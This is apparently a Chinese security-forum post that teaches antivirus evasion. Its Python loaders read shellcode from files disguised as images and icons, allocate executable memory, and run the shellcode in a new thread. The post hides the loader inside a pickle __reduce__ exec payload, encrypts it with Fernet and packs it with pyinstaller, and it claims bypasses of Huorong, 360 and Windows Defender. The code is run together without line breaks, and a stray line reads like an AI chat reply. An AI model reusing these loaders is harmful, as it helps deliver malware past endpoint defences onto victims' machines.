Python 反序列化免杀技巧:打破检测 【免杀】

1. 简介

本文介绍了一种Python反序列化免杀方法,适用于多种安全防护软件,包括火绒、360和Windows Defender。

2. 正文

在实现Python反序列化免杀的过程中,我们可以采用一种特殊的加载器来绕过安全检测。下面将详细介绍一个Python分离加载的实例:

首先,我们创建一个Python加载器,其主要功能是在运行时动态加载序列化数据并执行相关操作。这个加载器可以通过一系列技巧来避免被安全软件检测到。

接下来,我们将详细演示一个示例,展示如何使用这个加载器来实现Python反序列化免杀。通过分离加载的方式,我们可以有效地绕过火绒、360和Windows Defender等安全软件的检测。

import ctypesf=open('demo.png','rb')shellcode=f.read()shellcode=bytearray(shellcode)<em>#设置VirtualAlloc返回类型为ctypes.c_uint64</em>ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64<em>#申请内存</em>ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))<em>#放入shellcode</em>buf=(ctypes.c_char *len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr),

意料之中,烂大街的代码,一定过不了免杀的,今天就这里开始一步一步过掉defender

图片[1]-Python 反序列化免杀技巧:打破检测 【免杀】-山海云端论坛

pickle 是 Python 中的一个模块,它提供了对象的序列化和反序列化功能,可以将 Python 对象转换为文本或二进制形式,以便于存储或传输,并且能够恢复原始对象。这使得在 Python 中轻松地保存和加载对象状态成为可能。

cryptography.fernet 则是 Python 中的一个加密库,它提供了对称加密算法 Fernet 的实现。使用 Fernet 加密,你可以轻松地对数据进行加密和解密,保护数据的安全性。

>>>from cryptography.fernet importFernet>>><em>#Put this somewhere safe!</em>>>>key =Fernet.generate_key()>>>f =Fernet(key)>>>token =f.encrypt(b"Areally secret message. Not for prying eyes.")>>>token'...'>>>f.decrypt(token)'Areally secret message. Not for prying eyes.'

在简单的免杀技术中,可以使用反序列化来绕过一些杀毒软件的检测。具体来说,你可以尝试使用一些编码技巧来隐藏反序列化的代码,使其不易被杀毒软件检测到。以下是一个示例,用Python实现:

<em>#pickle dump</em>import pickle<br>shellcode="""importctypes<br>f= open('demo.png', 'rb')shellcode= f.read()shellcode= bytearray(shellcode)#设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype= ctypes.c_uint64#申请内存ptr= ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))#放入shellcodebuf= (ctypes.c_char *len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))#创建一个线程从shellcode放置位置首地址开始执行handle= ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))#等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""<br><br>class A(object): def __reduce__(self): return(exec,(shellcode,))<br><br>ret=pickle.dumps(A())with open("test.ico",'wb')asimg: img.write(ret)<em>#pickle load</em>import pickleimport ctypes<em>#try:# temp = open("test.ico", "rb").read()# shellcode = pickle.loads(temp)#except Exception as err:# print("err = {0}".format(err))# input("123")</em><br><br>temp=open("test.ico","rb").read()shellcode=pickle.loads(temp)
#pyinstaller -F .\defender_pickle_load.py

测试结果,bypass火绒

图片[2]-Python 反序列化免杀技巧:打破检测 【免杀】-山海云端论坛
图片[3]-Python 反序列化免杀技巧:打破检测 【免杀】-山海云端论坛
图片[4]-Python 反序列化免杀技巧:打破检测 【免杀】-山海云端论坛
图片[5]-Python 反序列化免杀技巧:打破检测 【免杀】-山海云端论坛

很好,听起来你的AI测试进展顺利。通过测试并成功绕过360的结果似乎让你感到幸运。

图片[6]-Python 反序列化免杀技巧:打破检测 【免杀】-山海云端论坛
图片[7]-Python 反序列化免杀技巧:打破检测 【免杀】-山海云端论坛
图片[8]-Python 反序列化免杀技巧:打破检测 【免杀】-山海云端论坛
  1. 火绒过: 火绒是一款国产杀毒软件,在某些情况下可能会绕过Windows Defender的检测。
  2. 360过: 360安全卫士是另一款常见的安全软件,也有可能绕过Windows Defender的检测。
  3. 静态扫描测试: 针对Windows Defender的静态扫描,你可以尝试一些文件修改、加密或者隐藏技术,来评估Windows Defender对于这些技术的检测效果。
图片[9]-Python 反序列化免杀技巧:打破检测 【免杀】-山海云端论坛
图片[10]-Python 反序列化免杀技巧:打破检测 【免杀】-山海云端论坛

在绕过Windows Defender方面,持续的测试和尝试不同的方法是关键。你可能需要不断更新你的技术手段,以适应Windows Defender的更新和改进。

Python-Fernet是一个用于加密数据的Python库,可以用于加密和解密文件。以下是使用Python-Fernet对静态文件进行加密的示例代码:

<em>#-*- coding:utf-8 -*#对静态文件进行加密</em>from cryptography.fernet import Fernet<br><em>#shellcode 加密你也可以分离免杀</em>test_f=open('demo.png','rb')shellcode=test_f.read()shellcode=bytearray(shellcode)<br>test_f.close()<em>#加密</em>key=Fernet.generate_key()f=Fernet(key)enc_pay=f.encrypt(bytes(shellcode))print(key)print("=========")<br><em>#写入shell2.png</em>test_f=open("./demo2.png","w+")test_f.write(enc_pay.decode())test_f.close()output_key="key= {0}".format(key)print(output_key)<br>print("f_obj= Fernet(key)")<br>print("shellcode= f_obj.decrypt(shellcode)")<br>print("shellcode= bytearray(shellcode)")<br><br><em>#shellcode 加密你也可以分离免杀</em>test_f=open('test1.ico','rb')shellcode=test_f.read()shellcode=bytearray(shellcode)<br>test_f.close()<em>#加密</em>key=Fernet.generate_key()f=Fernet(key)enc_pay=f.encrypt(bytes(shellcode))print(key)print("=========")<br><em>#写入shell2.png</em>test_f=open("./test2.ico","w+")test_f.write(enc_pay.decode())test_f.close()output_key="key= {0}".format(key)print(output_key)<br>print("f_obj= Fernet(key)")<br>print("temp= f_obj.decrypt(temp)")

#defender_pickle_dump.py

import pickle<br>shellcode="""importctypesfromcryptography.fernet import Fernet<br>f= open('demo2.png', 'rb')shellcode= f.read()key= b'Qepn_OLOyeXP-ZmoGCgApu0AqcE35VCMwO7t_H0L5co='f_obj= Fernet(key)shellcode= f_obj.decrypt(shellcode)shellcode= bytearray(shellcode)<br><em>#设置VirtualAlloc返回类型为ctypes.c_uint64</em>ctypes.windll.kernel32.VirtualAlloc.restype= ctypes.c_uint64<em>#申请内存</em>ptr= ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))<em>#放入shellcode</em>buf= (ctypes.c_char *len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))<em>#创建一个线程从shellcode放置位置首地址开始执行</em>handle= ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))<em>#等待上面创建的线程运行完</em>ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""<br><br>class A(object): def __reduce__(self): return(exec,(shellcode,))<br><br>ret=pickle.dumps(A())with open("test1.ico",'wb')asimg: img.write(ret)import pickleimport ctypesfrom cryptography.fernet importFernet<br><em>#try:# temp = open("test.ico", "rb").read()# shellcode = pickle.loads(temp)#except Exception as err:# print("err = {0}".format(err))# input("123")</em><br><br>temp=open("test2.ico","rb").read()<br>key=b'M6__BRADkFnVsgeqvLEdFXN59uesecCTctVa-k3UhTw='f_obj=Fernet(key)temp=f_obj.decrypt(temp)<br>shellcode=pickle.loads(temp)

ok 成功绕过windows defender

图片[11]-Python 反序列化免杀技巧:打破检测 【免杀】-山海云端论坛
图片[12]-Python 反序列化免杀技巧:打破检测 【免杀】-山海云端论坛

总结:

随着免杀技术的公开和杀毒软件的不断提升,免杀的难度也相应增加。重要的是要牢记,免杀学习的是一种思路,而不是固定的方法。文章提供了一个思路,但更重要的是要培养自己的思考能力,同时考虑多种方法的结合。

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容